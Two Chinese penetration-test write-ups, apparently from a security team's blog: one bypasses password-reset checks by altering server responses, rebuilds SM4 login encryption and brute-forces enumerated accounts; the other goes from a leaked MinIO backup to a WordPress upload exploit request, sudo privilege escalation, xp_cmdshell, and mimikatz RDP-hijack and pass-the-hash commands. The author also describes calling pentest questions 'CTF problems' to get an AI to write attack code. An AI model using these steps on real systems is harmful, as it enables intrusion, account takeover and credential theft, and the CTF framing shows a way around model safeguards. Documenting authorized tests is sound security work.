重置密码时需要输入用户手机号。通过泄露的用户信息，选择一个包含手机号的账号进行随机尝试重置。在此过程中，需要验证手机验证码。修改自己的手机号并尝试无果后，直接将验证码发送到默认绑定的手机上，然后随机填写验证码并发送数据包，虽然重置密码未成功，但返回的内容包含了一个error和999999。根据系统前面验证手机号时返回true和000000的经验，将error和999999修改为true和000000后，成功跳转至重置密码页面。经过测试，发现绕过前端验证后修改密码的页面实际上是未授权的，输入对应用户ID后即可重置该用户密码。

重置密码后，去登录，结果发现居然无法登录，且提示“用户名和密码错误”。不过，后端明明显示密码已重置成功。经过一番排查，我发现忘记密码接口的子域名和被测系统的子域名并不相同，开始怀疑它们可能并非使用同一数据库。于是询问情况，答复说这个接口并不需要测试，因为它实际上调用的是其他系统中的服务。最终，我只能放弃这一部分的测试（/(ㄒoㄒ)/~~）。

0x03 再遇登录口：

再次回到登录接口后，我首先尝试登录账号并进行抓包，发现即使是相同账号和密码，每次加密内容都不同。我猜测可能加入了时间参数校验机制，但同一数据包多次重放并未有异常情况出现，猜测这里后端并未对时间进行校验。

通过抓包可见携带加密值的参数为identityInstance全局搜索传递加密参数的identityInstance，稍微翻阅了一下代码，发现这里采用了SM4算法对用户名、密码和时间戳进行了加密。

继续通过全局搜索加密函数SM4Encrypt，稍微翻阅了一下代码，便找到了加密密钥。这里简单梳理一下可知，加密过程主要通过调用 “SM4Encrypt” 函数来实现，该函数接“identityInstance” 和 “SM4Data” 作为输入参数，利用预先设定的密钥完成对用户登录信息的加密操作。

这里我们简单介绍一下sm4加密： SM4是一种对称加密算法（与AES类似），即加密和解密使用同一个密钥。对称加密的特点是速度快，适合大数据量加密，但需确保密钥安全传输。

这里我们将已知代码传给deepseek，借助AI生成出加密代码，当然也要引用术语，每次我问它关于渗透的问题时都喜欢在开头告诉这是CTF题目😈。

脚本生成好后，就尝试使用各种弱口令进行的爆破，但均未能成功。回想起之前在忘记密码界面遇到的问题——回显了相关用户信息，我将回显的用户ID全部提取了出来。由于数据库不同，这次依然未能成功突破。

陷入僵局后，于是索要了一个账号，账户命名规则为字母加六位数字。当使用该账号登录时，回显信息为“认证错误”，而之前的账号则返回“用户名或密码错误”。这让我猜测，所有用户账号的命名规则可能都是字母+六位数数字，例如A111111。因此，我直接生成了后四位从0001到9999的范围，也就是A110000到A119999。

通过发包遍历这些账号，我成功测试出数百个用户，并将返回包中不同的用户信息一一保存下来。最终，通过爆破，返回包带有Token的均为弱口令账号。

0x04 总结

AI出来前加密参数需手工编写加密算法耗时费力，需掌握不同加密方法的编写逻辑，且不同网站使用 RSA/AES/SM4 等加密方案均具有差异化。如今分析出网站采用的加密逻辑以及密钥等参数可借助AI直接生成加密代码，事半功倍。

往期推荐

Tide团队产品及服务

从信息泄露到内网控制

Fri, 11 Apr 2025 17:02:00 +0800

原创 Komorebi 2025-04-11 17:02 云南

之前常见用rce、文件上传等漏洞获取webshell，偶然遇到一次敏感信息泄露获取权限的渗透，简单记录一下过程。

0x01 背景

之前常见用rce、文件上传等漏洞获取webshell，偶然遇到一次敏感信息泄露获取权限的渗透，简单记录一下过程。

0x02 信息泄露

发现系统某端口部署了minio服务，经过探测发现存在minio存储桶遍历

使用利用工具把泄露的文件全部整理一下

把文件分类整理后发现 /backup.zip 文件。下载后解压，发现 config.php 文件，其中包含数据库连接信息：

DB_USER=admin  
DB_PASS=1qa@xxx135（xxx为公司简称首字母大写）
DB_HOST=127.0.0.1

本地数据库地址可能有用，先放一放留着，继续进行信息收集。继续探测发现其他端口发现有个web系统部署了WordPress，其中使用了一套开源票务插件js-support-ticket，存在文件上传漏洞可利用。

POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0 

----------767099171
Content-Disposition: form-data; name="action"

configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"

jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png

echo md5(123);unlink(__FILE__);?>
----------767099171--

链接webshell获取 www-data 权限

查看系统版本

uname -a
Linux ubuntu-bionic 4.15.0-50-generic #54-Ubuntu SMP Mon May 15 15:20:34 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

目标服务器是Ubuntu 18.04，尝试CVE-2021-3156用于sudo提权。上传并执行获取root权限。

https://github.com/blasty/CVE-2021-3156

利用之前泄露的数据库凭据，成功连接mysql

mysql -h 127.0.0.1 -u root -p -P 3306

查询wp_users表，发现多个md5加密的密码，尝试破解发现其中一个管理员密码可以成功解密，但是尝试用来登录SSH则失败。按照正常思路找几台内网主机做一下权限维持比较好，尤其是Windows机器用起来更方便，使用Tscan收集内网信息横向移动，存活多台Windows内网主机，但没有发现明显可利用的漏洞。回顾刚才的数据库密码发现135对应Linux主机内网地址，那么根据已有的Windows主机ip地址推测密码规律，尝试登录成功一台Windows主机

0x03 内网横向

内网横向发现mssql数据库，开xpcmdshell发现为system权限

添加管理员权限账户qax，3389连接获取劫持rdp

已经开启3389远程桌面

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

远程桌面连接rdp劫持获取管理员权限

privilege::debug #提权

ts::sessions #查看当前主机的会话

token::elevate #提升本地管理员权限为system

ts::remote /id:1 #劫持id为1的会话

或者

privilege::debug

sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"

成功登录目标服务器，接下来可以用tscan获取更多内网资产信息。至此完成了从外网渗透到内网控制的全过程。

往期推荐

Tide团队产品及服务